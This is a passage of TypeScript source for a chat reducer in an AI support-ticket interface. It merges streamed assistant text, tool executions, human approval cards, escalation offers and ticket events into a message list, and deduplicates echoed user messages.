(turnStartedAt === 0) return;\n    pendingEchoTexts = pendingEchoTexts.filter(e => e.at > turnStartedAt);\n  }\n\n  /** Resolve `selfUserId` AT EVENT TIME — a getter lets the host track auth\n   *  rehydration / user switches on a reducer that outlives both. */\n  function resolveSelfUserId(): string | undefined {\n    const self = options.selfUserId;\n    return typeof self === 'function' ? self() : self;\n  }\n\n  /** One-shot: the host configured `selfUserId` but inbound rows carry none,\n   *  so the author guard is inert and dedup silently degrades to text+TTL. */\n  let warnedIdLessAuthor = false;\n  function warnIdLessAuthor(): void {\n    if (warnedIdLessAuthor) return;\n    warnedIdLessAuthor = true;\n    console.warn(\n      '[chat] selfUserId is configured but an inbound MESSAGE_REQUEST carries no userId — ' +\n        'the author echo guard is inert and dedup falls back to text + TTL matching. ' +\n        'Check the transport decoder surfaces the author id (the ticket wire model ' +\n        'declares it at `owner.userId`) and that it is in the SAME id space as selfUserId.',\n    );\n  }\n\n  // Adapter-armed flags.\n  let suppressAgentBusy = 0;\n  let adoptTrailingAssistant = false;\n\n  // SSE per-send maps + per-turn kernel.\n  const metaMap = new Map<number, ChatTurnMeta>();\n  const sourcesMap = new Map<number, unknown[]>();\n  let sendCount = 0;\n  let sseCurrentText = '';\n\n  // ── Snapshot cache ─────────────────────────────────────────────────────\n  let stateCache: ChatReducerState | null = null;\n  function invalidate(): void {\n    stateCache = null;\n    onChange?.();\n  }\n  function getState(): ChatReducerState {\n    if (!stateCache) {\n      stateCache = {\n        messages,\n        streamingPhase,\n        turnMeta: { meta: metaMap, sources: sourcesMap, sendCount },\n        dialogTokenUsage,\n        liveModel,\n        approvalStatuses,\n      };\n    }\n    return stateCache;\n  }\n\n  function emit(name: ChatReducerEffect['name'], ...args: unknown[]): void {\n    onEffect?.({ name, args });\n  }\n\n  function setMessagesInternal(next: UnifiedChatMessage[]): void {\n    if (next !== messages) {\n      messages = next;\n      invalidate();\n    }\n  }\n\n  function setPhaseInternal(phase: StreamingPhase): void {\n    if (streamingPhase !== phase) {\n      streamingPhase = phase;\n      invalidate();\n    }\n  }\n\n  /** onAgentBusy state semantics: only 'idle' upgrades to 'thinking'; an\n   *  open stream keeps ownership. Suppressed during catchup replay. */\n  function agentBusyState(): void {\n    if (suppressAgentBusy > 0) return;\n    if (streamingPhase === 'idle') setPhaseInternal('thinking');\n  }\n\n  function mirrorApprovalStatus(requestId: string, status: ChatApprovalStatus): void {\n    if (approvalStatuses[requestId] === status) return;\n    approvalStatuses = { ...approvalStatuses, [requestId]: status };\n    invalidate();\n  }\n\n  // ===========================================================================\n  // NATS kernel — the absorbed chunk-processor switch + adapter callbacks body\n  // ===========================================================================\n\n  /**\n   * Stamp the highest consumed chunk seq onto the trailing assistant row.\n   *\n   * This is what `mergeHistoryWithRealtime` decides coverage with, per message.\n   * Leave it off and the merge has no per-row signal, so it falls through to\n   * the wall-clock fallback — \"this synthetic predates the fetch instant, so\n   * history must contain it\" — which is false for any turn the backend has not\n   * finished persisting. A history refetch mid-stream (the one a reconnect\n   * fires) then drops every live assistant bubble except the one that happens\n   * to be `streamingMessageId`, leaving the thread as just the persisted user\n   * prompt. The host store used to stamp this from the `onSegmentsUpdate`\n   * metadata; now the reducer owns the thread, so it owns the stamp.\n   *\n   * Monotonic: replay can re-apply an older seq, and coverage must never go\n   * backwards.\n   */\n  function stampTrailingAssistantSeq(next: UnifiedChatMessage[], seq: number | undefined): UnifiedChatMessage[] {\n    if (typeof seq !== 'number') return next;\n    const last = next[next.length - 1];\n    if (!last || last.role !== 'assistant') return next;\n    if (typeof last.streamSeq === 'number' && last.streamSeq >= seq) return next;\n    return [...next.slice(0, -1), { ...last, streamSeq: seq }];\n  }\n\n  /**\n   * Source metadata accumulated for the CURRENT turn.\n   *\n   * The chunk is published when a remote tool returns, so it lands inside the\n   * turn but usually BEFORE the answer text the reader will see it under —\n   * sometimes before the assistant bubble exists at all. Holding it here and\n   * stamping it on every trailing-assistant write is what makes the arrival\n   * order stop mattering.\n   *\n   * Reset at `turn-start`, so metadata can never leak onto the next answer.\n   * Losing a chunk that somehow arrived outside a turn is the better failure of\n   * the two: a stale citation strip under an unrelated answer is a wrong\n   * statement about where that answer came from.\n   */\n  let turnSourceMetadata: SourceMetadata | null = null;\n\n  /** Stamp the turn's metadata onto the trailing assistant bubble. A no-op\n   *  when there is none yet — the next write through here picks it up. */\n  function stampTrailingAssistantSourceMetadata(next: UnifiedChatMessage[]): UnifiedChatMessage[] {\n    const metadata = turnSourceMetadata;\n    if (!metadata) return next;\n    const last = next[next.length - 1];\n    if (!last || last.role !== 'assistant') return next;\n    if (last.sources === metadata.sources && last.refs === metadata.refs) return next;\n    return [...next.slice(0, -1), { ...last, ...metadata }];\n  }\n\n  /** The two stamps every trailing-assistant write needs, in one place — a\n   *  write that skips either loses the seq the merge decides with, or the\n   *  citations the answer was built from. */\n  function commitTrailingAssistant(next: UnifiedChatMessage[], seq: number | undefined): UnifiedChatMessage[] {\n    return stampTrailingAssistantSourceMetadata(stampTrailingAssistantSeq(next, seq));\n  }\n\n  function applySegmentsToState(segments: MessageSegment[], meta?: SegmentsUpdateMetadata): void {\n    const seq = meta?.streamSeq;\n    // Standalone compaction updates carry the accumulator's cumulative\n    // array — apply only the compaction segment (upsert) or interleaved\n    // continuation text would duplicate.\n    if (meta?.append && meta.isCompacting) {\n      setMessagesInternal(commitTrailingAssistant(upsertTrailingCompaction(messages, segments), seq));\n      return;\n    }\n    // Post-MESSAGE_END continuation fragments append into the existing\n    // bubble; replacing would wipe the completed reply.\n    if (meta?.append) {\n      setMessagesInternal(commitTrailingAssistant(appendToTrailingAssistant(messages, segments), seq));\n      return;\n    }\n    setMessagesInternal(commitTrailingAssistant(updateTrailingAssistant(messages, segments), seq));\n  }\n\n  function applyStreamStartToState(): void {\n    setPhaseInternal('streaming');\n    // A new stream must never overwrite a COMPLETED trailing assistant\n    // bubble (observer tab / second device / post-approval continuation\n    // turn). Open a fresh bubble unless the trailing assistant is empty\n    // (our own optimistic placeholder) or is the incomplete history tail\n    // the catchup replay is legitimately re-streaming (adopt-once flag).\n    const adoptTail = adoptTrailingAssistant;\n    adoptTrailingAssistant = false;\n    const last = messages[messages.length - 1];\n    if (!last || last.role !== 'assistant' || adoptTail) return;\n    const hasContent = (last.segments?.length ?? 0) > 0 || last.content !== '';\n    if (!hasContent) return;\n    setMessagesInternal([...messages, { id: nextId('assistant'), role: 'assistant', content: '', segments: [] }]);\n  }\n\n  /** MESSAGE_REQUEST echo — a user message from THIS or another session.\n   *  Dedup layers in priority order: seq identity → one-shot optimistic-echo\n   *  consumption → same-author content window (seq-less transports only). */\n  function applyUserMessageToState(ev: ParticipantEvent): void {\n    const text = ev.text;\n    if (!text) return;\n    const seq = ev.seq;\n    // ADMIN rows are only echo-consumable when the host declares that its\n    // operator IS the admin (see `ownEchoIncludesAdmin`). Otherwise an\n    // ADMIN row is someone else's message and must always render.\n    const adminEchoAllowed = ev.ownerType !== CHAT_OWNER_ADMIN || options.ownEchoIncludesAdmin === true;\n    // AUTHOR guard: with `selfUserId` configured, a row that DECLARES a\n    // DIFFERENT author may not consume an echo entry. Two technicians on the\n    // same ADMIN side both author ADMIN rows, so text alone cannot tell \"my\n    // echo\" from \"their message\".\n    //\n    // It fails OPEN on an id-less row: the decoder may not surface the author\n    // (the ticket wire model declares it at `owner.userId`, and the app's id\n    // may live in another id space entirely), and treating \"unattributed\" as\n    // \"not mine\" would disable dedup outright — every send rendered TWICE,\n    // strictly worse than the bug the guard fixes. Unattributed rows fall back\n    // to the text + TTL behaviour, with a one-shot warning so the\n    // misconfiguration is observable.\n    const selfUserId = resolveSelfUserId();\n    const authorDeclared = typeof ev.userId === 'string' && ev.userId !== '';\n    if (selfUserId !== undefined && !authorDeclared) warnIdLessAuthor();\n    const authorMatched = selfUserId !== undefined && authorDeclared && ev.userId === selfUserId;\n    const authorEchoAllowed = selfUserId === undefined || !authorDeclared || authorMatched;\n    if (adminEchoAllowed && authorEchoAllowed && consumeOwnEcho(text, authorMatched)) return;\n    const authorType = ev.ownerType === CHAT_OWNER_ADMIN ? ('admin' as const) : ('user' as const);\n    if (\n      typeof seq !== 'number' &&\n      hasRecentMessage(\n        messages,\n        m => m.role === 'user' && (m.authorType ?? 'user') === authorType && m.content === text,\n        CONTENT_DEDUP_WINDOW,\n      )\n    ) {\n      return;\n    }\n    setMessagesInternal([\n      ...messages,\n      {\n        id: nextId('user'),\n        role: 'user',\n        content: text,\n        // Coverage signal for the history merge — see `streamSeq` on\n        // `UnifiedChatMessage`. For `user-` rows it is also what tells a\n        // REPLAYED echo (history already has its row) apart from a genuine new\n        // send that merely repeats an earlier text.\n        ...(typeof seq === 'number' ? { streamSeq: seq } : {}),\n        ...(ev.displayName ? { name: ev.displayName } : {}),\n        authorType,\n        ...(ev.contextItems && ev.contextItems.length > 0 ? { contextItems: ev.contextItems } : {}),\n      },\n    ]);\n  }\n\n  /** Technician / admin direct message into the dialog. */\n  function applyDirectMessageToState(ev: ParticipantEvent): void {\n    const text = ev.text;\n    if (!text) return;\n    const seq = ev.seq;\n    // Seq-less fallback matches only prior ADMIN-authored twins — a client's\n    // identical text must never suppress the technician's.\n    if (\n      typeof seq !== 'number' &&\n      hasRecentMessage(\n        messages,\n        m => m.role === 'user' && m.authorType === 'admin' && m.content === text,\n        CONTENT_DEDUP_WINDOW,\n      )\n    ) {\n      return;\n    }\n    setMessagesInternal([\n      ...messages,\n      {\n        id: `direct-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`,\n        role: 'user',\n        content: text,\n        ...(typeof seq === 'number' ? { streamSeq: seq } : {}),\n        name: ev.displayName ?? 'Admin',\n        authorType: 'admin',\n      },\n    ]);\n  }\n\n  /** System notice — rendered as a name-only row (same shape the history\n   *  processor produces via its standalone-SYSTEM path). */\n  function applySystemMessageToState(ev: ParticipantEvent): void {\n    const text = ev.text;\n    if (!text) return;\n    const seq = ev.seq;\n    if (\n      typeof seq !== 'number' &&\n      hasRecentMessage(messages, m => m.authorType === 'system' && m.name === text, SYSTEM_DEDUP_WINDOW)\n    ) {\n      return;\n    }\n    setMessagesInternal([\n      ...messages,\n      {\n        id: `system-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`,\n        role: 'user',\n        content: '',\n        ...(typeof seq === 'number' ? { streamSeq: seq } : {}),\n        name: text,\n        authorType: 'system',\n      },\n    ]);\n  }\n\n  function applyNats(event: ChatStreamEvent): void {\n    const seq = event.seq;\n    const withSeqMeta = (meta?: SegmentsUpdateMetadata): SegmentsUpdateMetadata | undefined =>\n      seq != null ? { ...meta, streamSeq: seq } : meta;\n    const emitSegments = (segments: MessageSegment[], meta?: SegmentsUpdateMetadata) =>\n      emit('onSegmentsUpdate', segments, withSeqMeta(meta));\n\n    /**\n     * Emit + apply an accumulator result, choosing REPLACE vs APPEND the same\n     * way `text-delta` does — and it must be chosen, not defaulted.\n     *\n     * `turn-end` calls `accumulator.resetSegments()`, so after a turn closes the\n     * accumulator's cumulative array holds ONLY what was added since. Applying\n     * that array in replace mode overwrites the finished answer: a\n     * post-MESSAGE_END approval card or error used to reduce a completed bubble\n     * to `[approval_request]` / `[error]` and the reply was gone. Post-END\n     * arrivals are routine (an approved command executes between the approval\n     * bubble and the continuation stream, and catchup replays everything after\n     * the last MESSAGE_END with no preceding `turn-start`).\n     *\n     * `before` is the accumulator's segment count taken BEFORE the add, so the\n     * appended slice is exactly the new segments — never a hand-rebuilt copy\n     * that could drift from the accumulator's shape (which stamps\n     * `onApprove`/`onReject` handlers), and never a positional guess. An add\n     * that UPSERTS in place (a redelivered card) yields an empty slice and is\n     * correctly a no-op here: status flips travel through `approval-resolved`.\n     *\n     * Cold start (`!hasEverStreamed`) stays cumulative: with no bubble to append\n     * into, the first card of a session would otherwise render nothing.\n     */\n    const applyAccumulated = (before: number, segments: MessageSegment[]): void => {\n      if (isInStream || !hasEverStreamed) {\n        emitSegments(segments);\n        applySegmentsToState(segments, withSeqMeta(undefined));\n        return;\n      }\n      const added = segments.slice(before);\n      if (added.length === 0) return;\n      emitSegments(added, { append: true });\n      applySegmentsToState(added, withSeqMeta({ append: true }));\n    };\n\n    if (event.type === 'participant' && event.kind === 'direct-message') {\n      sawDirectMessage = true;\n    }\n\n    if ((directModeFlag || sawDirectMessage) && !isDirectModeAllowed(event)) {\n      // Hard stop: tear down AI activity exactly once so the typing\n      // indicator, composer lock, and half-rendered bubble clear, then drop\n      // the event. Fires even when no stream is open — an agent-busy lock\n      // (approved commands executing post-MESSAGE_END) has no other release\n      // once the barrier starts dropping the continuation chunks.\n      if (isInStream || !directTeardownFired) {\n        isInStream = false;\n        directTeardownFired = true;\n        emit('onStreamEnd');\n        setPhaseInternal('idle');\n        accumulator.resetSegments();\n      }\n      return;\n    }\n\n    switch (event.type) {\n      case 'turn-start': {\n        isInStream = true;\n        hasEverStreamed = true;\n        turnStartedAt = Date.now();\n        turnSourceMetadata = null;\n        emit('onStreamStart');\n        applyStreamStartToState();\n        accumulator.resetSegments();\n        break;\n      }\n\n      case 'turn-end': {\n        isInStream = false;\n        purgeEchoesAtTurnEnd();\n        emit('onStreamEnd');\n        setPhaseInternal('idle');\n        accumulator.resetSegments();\n        break;\n      }\n\n      // Per-answer source metadata. Applied to the trailing assistant bubble\n      // immediately when there is one, and held for the next write when the\n      // chunk beat the answer text to the reducer.\n      case 'sources': {\n        turnSourceMetadata = mergeSourceMetadata(turnSourceMetadata, event);\n        setMessagesInternal(stampTrailingAssistantSourceMetadata(messages));\n        break;\n      }\n\n      case 'metadata': {\n        // Legacy `parseChunkToAction` action shape, reconstructed for the\n        // callback contract.\n        emit('onMetadata', {\n          action: 'metadata',\n          modelDisplayName: event.modelLabel ?? undefined,\n          modelName: event.modelName,\n          providerName: event.provider,\n          contextWindow: event.contextWindowMaxTokens,\n        });\n        liveModel = {\n          provider: event.provider || null,\n          modelLabel: event.modelLabel || event.modelName || null,\n          contextWindowMaxTokens: event.contextWindowMaxTokens || null,\n        };\n        invalidate();\n        break;\n      }\n\n      // Both APPEND-ONLY body streams share one shape: accumulate the verbatim\n      // slice into the trailing segment of the matching kind (the accumulator\n      // coalesces), then emit.\n      case 'text-delta':\n      case 'thinking-delta': {\n        const kind = event.type === 'text-delta' ? 'text' : 'thinking';\n        const segments = kind === 'text' ? accumulator.appendText(event.text) : accumulator.appendThinking(event.text);\n        // Append-mode only for *true* post-stream continuation (after a\n        // MESSAGE_END we actually saw). Cold-start chunks (no prior\n        // MESSAGE_START) emit cumulative segments so the consumer can spawn\n        // the first assistant bubble.\n        if (isInStream || !hasEverStreamed) {\n          emitSegments(segments);\n          applySegmentsToState(segments, withSeqMeta(undefined));\n        } else {\n          const delta: MessageSegment[] = [{ type: kind, text: event.text }];\n          emitSegments(delta, { append: true });\n          applySegmentsToState(delta, withSeqMeta({ append: true }));\n        }\n        break;\n      }\n\n      // A clarification card arrives whole, not as deltas. The intro sentence\n      // riding the same chunk goes in FIRST as ordinary answer text so it runs\n      // through the markdown body pipeline (and coalesces with any preamble the\n      // turn already streamed); the card follows as its own segment. Both land\n      // in one emit, so the bubble never shows the card ahead of its lead-in.\n      case 'ask': {\n        if (event.text) accumulator.appendText(event.text);\n        const segments = accumulator.addAsk(event.question, event.options);\n        if (isInStream || !hasEverStreamed) {\n          emitSegments(segments);\n          applySegmentsToState(segments, withSeqMeta(undefined));\n          break;\n        }\n        // Post-MESSAGE_END: the delta is spelled out rather than sliced off the\n        // accumulator. `appendText` COALESCES into a trailing text segment, so a\n        // slice would silently drop the intro whenever the continuation already\n        // had text in flight; `appendToTrailingAssistant` re-coalesces it here\n        // instead, exactly like a `text-delta`.\n        const delta: MessageSegment[] = [\n          ...(event.text ? [{ type: 'text' as const, text: event.text }] : []),\n          { type: 'ask' as const, question: event.question, options: event.options },\n        ];\n        emitSegments(delta, { append: true });\n        applySegmentsToState(delta, withSeqMeta({ append: true }));\n        break;\n      }\n\n      case 'tool-execution': {\n        const segment: ToolExecutionSegment = { type: 'tool_execution', data: event.data };\n        // A starting tool run means the agent's turn is in progress even\n        // when this lands after MESSAGE_END (approved commands execute\n        // between the approval bubble and the continuation stream).\n        if (event.data.type === 'EXECUTING_TOOL') {\n          emit('onAgentBusy');\n          agentBusyState();\n        }\n        // Post-MESSAGE_END tool chunks (cancellations / async batch results\n        // for a batch in a prior bubble) flow only through the cross-message\n        // updater. Skipping the accumulator avoids pushing a standalone\n        // segment that the next text chunk would replay into a new bubble.\n        if (!isInStream && crossMessageToolRouting) {\n          emit('onToolExecuted', segment);\n          setMessagesInternal(applyToolExecutionToMessages(messages, segment));\n          break;\n        }\n        // In-stream: accumulator-driven update of the streaming bubble is\n        // the source of truth. The cross-message scan is first-match-wins\n        // and could touch a same-execId segment in a prior bubble (agent\n        // retry case), so it is NOT run here.\n        const segments = accumulator.addToolExecution(segment);\n        emitSegments(segments);\n        applySegmentsToState(segments, withSeqMeta(undefined));\n        break;\n      }\n\n      case 'approval-request': {\n        const requestId = event.requestId;\n        const approvalType = event.approvalType ?? 'USER';\n        const toolCalls = event.toolCalls;\n        // Where this card renders is ONE rule, shared with the SSE kernel and\n        // the history replay (`approval-display`).\n        const displayInline = (type: string) => approvalDisplaysInline(type, displayApprovalTypes);\n\n        if (toolCalls && toolCalls.length > 0) {\n          // ── Batch form ──\n          const status = approvalStatuses[requestId] || 'pending';\n          if (!displayInline(approvalType)) {\n            // Escalated: keep batch context locally for replay on result;\n            // surface a summary command via the legacy escalation callback.\n            const required = toolCalls.find(c => c.requiresApproval) ?? toolCalls[0];\n            const summary = required ? getCommandText(required) : `Batch of ${toolCalls.length} tool calls`;\n            pendingEscalated.set(requestId, {\n              command: summary,\n              explanation: required?.toolExplanation,\n              approvalType,\n              toolCalls,\n            });\n            emit('onEscalatedApproval', requestId, {\n              command: summary,\n              explanation: required?.toolExplanation,\n              approvalType,\n            });\n            break;\n          }\n          if (batchApprovalsEnabled) {\n            const before = accumulator.getSegments().length;\n            const segments = accumulator.addApprovalBatch(\n              requestId,\n              approvalType,\n              toolCalls,\n              status,\n              undefined,\n              undefined,\n            );\n            applyAccumulated(before, segments);\n            break;\n          }\n          // Flag OFF — unfold batch into N legacy approval cards. They share\n          // `requestId`, so a click on any will approve the whole batch via a\n          // single backend call, and the resulting APPROVAL_RESULT event will\n          // flip status on every matching segment.\n          let segments = accumulator.getSegments();\n          const before = segments.length;\n          for (const call of toolCalls) {\n            if (!call.requiresApproval) continue;\n            segments = accumulator.addApprovalRequest(\n              requestId,\n              getCommandText(call),\n              call.toolExplanation,\n              approvalType,\n              status,\n              undefined,\n            );\n          }\n          applyAccumulated(before, segments);\n          break;\n        }\n\n        // ── Single form ──\n        const command = event.command ?? '';\n        const explanation = event.explanation;\n        if (displayInline(approvalType)) {\n          const status = approvalStatuses[requestId] || 'pending';\n          const before = accumulator.getSegments().length;\n          const segments = accumulator.addApprovalRequest(\n            requestId,\n            command,\n            explanation,\n            approvalType,\n            status,\n            // SSE-shaped cards carry their body as structured rows rather than prose.\n            event.fields,\n          );\n          applyAccumulated(before, segments);\n        } else {\n          pendingEscalated.set(requestId, { command, explanation, approvalType });\n          emit('onEscalatedApproval', requestId, { command, explanation, approvalType });\n        }\n        break;\n      }\n\n      case 'approval-resolved': {\n        const requestId = event.requestId ?? '';\n        const status = event.status;\n        const approved = status === 'approved';\n        const approvalType = event.approvalType ?? 'CLIENT';\n        const resolvedByName = event.resolvedByName;\n        // Approved → the agent resumes to execute the command(s); surface\n        // busy immediately so the composer locks before EXECUTING_TOOL\n        // lands. Rejection keeps the input free — the user may want to type\n        // a correction right away.\n        if (approved) {\n          emit('onAgentBusy');\n          agentBusyState();\n        }\n        const escalatedData = pendingEscalated.get(requestId);\n\n        if (escalatedData) {\n          pendingEscalated.delete(requestId);\n          emit('onEscalatedApprovalResult', requestId, approved, {\n            command: escalatedData.command,\n            explanation: escalatedData.explanation,\n            approvalType: escalatedData.approvalType,\n          });\n\n          // The escalated card was never displayed inline, so this emit is\n          // what surfaces it after resolution. In-stream the cumulative\n          // array is correct; post-MESSAGE_END the accumulator was RESET, so\n          // a cumulative (replace-mode) emit would wipe the trailing bubble\n          // down to the lone card — emit only the resolved card(s) as an\n          // append instead. Appends upsert by request id, so a replayed\n          // append stays idempotent.\n          const emitResolved = (segments: MessageSegment[]) => {\n            if (isInStream) {\n              emitSegments(segments);\n              applySegmentsToState(segments, withSeqMeta(undefined));\n              return;\n            }\n            const delta = segments.filter(\n              s =>\n                (s.type === 'approval_request' && s.data.requestId === requestId) ||\n                (s.type === 'approval_batch' && s.data.approvalRequestId === requestId),\n            );\n            emitSegments(delta, { append: true });\n            applySegmentsToState(delta, withSeqMeta({ append: true }));\n          };\n\n          if (escalatedData.toolCalls && escalatedData.toolCalls.length > 0) {\n            if (batchApprovalsEnabled) {\n              emitResolved(\n                accumulator.addApprovalBatch(\n                  requestId,\n                  escalatedData.approvalType,\n                  escalatedData.toolCalls,\n                  status,\n                  undefined,\n                  resolvedByName,\n                ),\n              );\n            } else {\n              let segments = accumulator.getSegments();\n              for (const call of escalatedData.toolCalls) {\n                if (!call.requiresApproval) continue;\n                segments = accumulator.addApprovalRequest(\n                  requestId,\n                  getCommandText(call),\n                  call.toolExplanation,\n                  escalatedData.approvalType,\n                  status,\n                );\n              }\n              emitResolved(segments);\n            }\n          } else {\n            emitResolved(\n              accumulator.addApprovalRequest(\n                requestId,\n                escalatedData.command,\n                escalatedData.explanation,\n                escalatedData.approvalType,\n                status,\n              ),\n            );\n          }\n        } else {\n          // Always keep the in-memory accumulator in sync so a following\n          // text/tool event replays the resolved status into the message.\n          accumulator.updateApprovalStatus(requestId, status, resolvedByName);\n          // Conditional legacy emission — forwarded as onSegmentsUpdate only\n          // when the consumer did NOT wire onApprovalResolved (the wrapper\n          // resolves the condition at dispatch time).\n          emit('segments-after-approval-result', accumulator.getSegments(), withSeqMeta(undefined));\n        }\n\n        // Cross-message status flip + status-map mirror (absorbed adapter\n        // handler) — runs for both branches, matching the legacy adapter\n        // whose onApprovalResolved callback fired unconditionally.\n        setMessagesInternal(projectApprovalResolutionToMessages(messages, requestId, status, resolvedByName));\n        mirrorApprovalStatus(requestId, status);\n        emit('onApprovalResolved', requestId, status, approvalType, resolvedByName);\n        break;\n      }\n\n      case 'escalation-offer': {\n        // MUST route through `applyAccumulated`. The block reaches a client\n        // in three shapes — inline in Fae's live turn (tool origin), or with\n        // NO preceding MESSAGE_START when the backend surfaces a deferred\n        // offer at turn end or honours the header button while idle. In the\n        // latter shapes a cumulative emit would replace the trailing bubble's\n        // segments with the lone card, wiping the reply the user is reading.\n        const status = approvalStatuses[event.offerId] || 'pending';\n        const before = accumulator.getSegments().length;\n        const segments = accumulator.addEscalationOffer(event.offerId, event.text, event.origin, status);\n        applyAccumulated(before, segments);\n        break;\n      }\n\n      case 'escalation-offer-resolved': {\n        const { offerId, status, resolvedByName: offerResolvedBy } = event;\n        // Approving hands the ticket to a human; Fae goes silent rather than\n        // resuming, so — unlike an approved command — there is no work to\n        // signal and the busy lock stays untouched.\n        accumulator.updateApprovalStatus(offerId, status, offerResolvedBy);\n        setMessagesInternal(projectApprovalResolutionToMessages(messages, offerId, status, offerResolvedBy));\n        mirrorApprovalStatus(offerId, status);\n        emit('onEscalationOfferResolved', offerId, status, offerResolvedBy);\n        break;\n      }\n\n      case 'ticket-escalated': {\n        // Same `applyAccumulated` routing as the offer, and for the same\n        // reason: the inactivity auto-escalation fires from a scheduler with\n        // no turn open at all, so this block routinely arrives with no\n        // preceding MESSAGE_START.\n        const before = accumulator.getSegments().length;\n        const segments = accumulator.addTicketEscalated({\n          ticketId: event.ticketId,\n          ticketNumber: event.ticketNumber,\n          reason: event.reason,\n          text: event.text,\n        });\n        applyAccumulated(before, segments);\n        break;\n      }\n\n      case 'ticket-event': {\n        // Standalone chunk outside MESSAGE_START/END — same routing as\n        // `ticket-escalated`. `seq` rides onto the segment: it is the event's\n        // dedupe identity (see `addTicketEvent`).\n        const before = accumulator.getSegments().length;\n        const data = {\n          kind: event.kind,\n          actorId: event.actorId,\n          actorName: event.actorName,\n          actorType: event.actorType,\n          reason: event.reason,\n          targetStatusKind: event.targetStatusKind,\n        };\n        // The chunk carries no event time, so stamp arrival — for a genuinely\n        // live event that IS the event time. Without it the card falls back to\n        // the enclosing bubble's timestamp: the turn's FIRST row, minutes\n        // stale by the time a resolve/reopen lands. A catch-up redelivery of\n        // an already-hydrated event does NOT regress to arrival time —\n        // `addTicketEvent` keeps the first-known `occurredAt` on upsert.\n        const segments = accumulator.addTicketEvent(data, seq, new Date());\n        applyAccumulated(before, segments);\n        // The card alone is not enough for a host that also tracks the\n        // ticket's state: a RESOLVED/REOPENED arriving live must move the\n        // composer lock/status chip on the same render as the card, not on\n        // the next status poll. Hosts that don't wire it lose nothing.\n        emit('onTicketEvent', data);\n        break;\n      }\n\n      case 'error': {\n        // Shared with the history replay in `process-historical-messages` —\n        // one decoder so a card cannot read one way live and another on refresh.\n        const message = errorDetailsMessage(event.details);\n        const before = accumulator.getSegments().length;\n        const segments = accumulator.addError(event.title, message);\n        applyAccumulated(before, segments);\n        emit('onError', event.title, message);\n        // Terminal turn failures can arrive without a MESSAGE_END; unlock\n        // the composer unless an open stream still owns the phase.\n        if (streamingPhase !== 'streaming') setPhaseInternal('idle');\n        break;\n      }\n\n      case 'participant': {\n        if (event.kind === 'message-request') {\n          emit('onUserMessage', event.text, {\n            ownerType: event.ownerType,\n            displayName: event.displayName,\n            userId: event.userId,\n            streamSeq: seq,\n            contextItems: event.contextItems,\n          });\n          applyUserMessageToState(event);\n        } else if (event.kind === 'direct-message') {\n          emit('onDirectMessage', event.text, {\n            ownerType: event.ownerType,\n            displayName: event.displayName,\n            userId: event.userId,\n            streamSeq: seq,\n          });\n          applyDirectMessageToState(event);\n        } else {\n          emit('onSystemMessage', event.text, { streamSeq: seq });\n          applySystemMessageToState(event);\n        }\n        break;\n      }\n\n      case 'token-usage': {\n        const data = {\n          inputTokensSize: event.inputTokensSize,\n          outputTokensSize: event.outputTokensSize,\n          totalTokensSize: event.totalTokensSize,\n          contextSize: event.contextSize,\n        };\n        emit('onTokenUsage', data);\n        dialogTokenUsage = data;\n        invalidate();\n        break;\n      }\n\n      case 'compaction': {\n        const standalone = !isInStream;\n        const segments =\n          event.phase === 'start'\n            ? accumulator.addContextCompaction()\n            : accumulator.completeContextCompaction(event.summary);\n        const meta = standalone ? ({ append: true, isCompacting: true } as const) : undefined;\n        emitSegments(segments, meta);\n        applySegmentsToState(segments, withSeqMeta(meta));\n        break;\n      }\n\n      case 'dialog-closed': {\n        emit('onDialogClosed');\n        break;\n      }\n\n      default:\n        // Unknown / SSE-only event on the NATS kernel — ignore.\n        break;\n    }\n  }\n\n  // ===========================================================================\n  // SSE kernel — the absorbed useChat merge + decision_resolved receipt path\n  // ===========================================================================\n\n  /** Replace the trailing text segment of the LAST assistant message with\n   *  the cumulative turn text (or push one). Mirrors `useChat`'s\n   *  currentTextSegment handling byte-for-byte. */\n  function sseWriteTrailingText(text: string): void {\n    const last = messages[messages.length - 1];\n    if (!last || last.role !== 'assistant') return;\n    const segments = [...(last.segments ?? [])];\n    const tail = segments[segments.length - 1];\n    if (tail && tail.type === 'text') {\n      segments[segments.length - 1] = { type: 'text', text };\n    } else {\n      segments.push({ type: 'text', text });\n    }\n    setMessagesInternal([...messages.slice(0, -1), { ...last, segments }]);\n  }\n\n  function sseAppendText(text: string): void {\n    sseCurrentText += text;\n    sseWriteTrailingText(sseCurrentText);\n  }\n\n  /** Single thinking segment per message, ALWAYS before the answer text:\n   *  replaced in place when present, inserted at the FRONT otherwise. */\n  function sseAppendThinking(escapedDelta: string): void {\n    const last = messages[messages.length - 1];\n    if (!last || last.role !== 'assistant') return;\n    const segments = [...(last.segments ?? [])];\n    const idx = segments.findIndex(s => s.type === 'thinking');\n    if (idx !== -1) {\n      const existing = segments[idx] as { type: 'thinking'; text: string };\n      segments[idx] = { type: 'thinking', text: existing.text + escapedDelta };\n    } else {\n      segments.unshift({ type: 'thinking', text: escapedDelta });\n    }\n    setMessagesInternal([...messages.slice(0, -1), { ...last, segments }]);\n  }\n\n  function mergeTurnMeta(sendIdx: number, partial: Partial<ChatTurnMeta>): void {\n    const prev = metaMap.get(sendIdx) ?? createEmptyTurnMeta();\n    const filtered = Object.fromEntries(\n      Object.entries(partial).filter(([, v]) => v !== undefined && v !== null),\n    ) as Partial<ChatTurnMeta>;\n    metaMap.set(sendIdx, { ...prev, ...filtered });\n    invalidate();\n  }\n\n  function applySseApprovalResolved(event: ApprovalResolvedEvent): void {\n    const proposalId = event.requestId;\n    if (!proposalId) return;\n\n    // Step 1 — flip the SOURCE card's status (the approval card lives in an\n    // EARLIER assistant message than the one being streamed into).\n    setMessagesInternal(projectApprovalResolutionToMessages(messages, proposalId, event.status));\n\n    // Step 2 — server-rendered receipt into the CURRENT message. No\n    // server-provided copy → don't fabricate a fallback. The receipt's\n    // `[card://…]` marker hydrates via the card fetch path on its own —\n    // no ref stamping needed.\n    const receipt = typeof event.receiptText === 'string' ? event.receiptText : null;\n    if (receipt === null) return;\n    sseCurrentText = receipt + '\\n\\n';\n    sseWriteTrailingText(sseCurrentText);\n  }\n\n  function applySseMetadata(event: ChatMetadataEvent, sendIdx: number): void {\n    if (event.routing) {\n      mergeTurnMeta(sendIdx, {\n        routedComplexity: event.routing.routedComplexity,\n        routedThinkingBudget: event.routing.routedThinkingBudget,\n      });\n      return;\n    }\n    if (event.sources) {\n      sourcesMap.set(sendIdx, event.sources as unknown[]);\n      invalidate();\n    }\n    if (event.modelLabel || event.contextWindowMaxTokens || event.provider || event.modelName) {\n      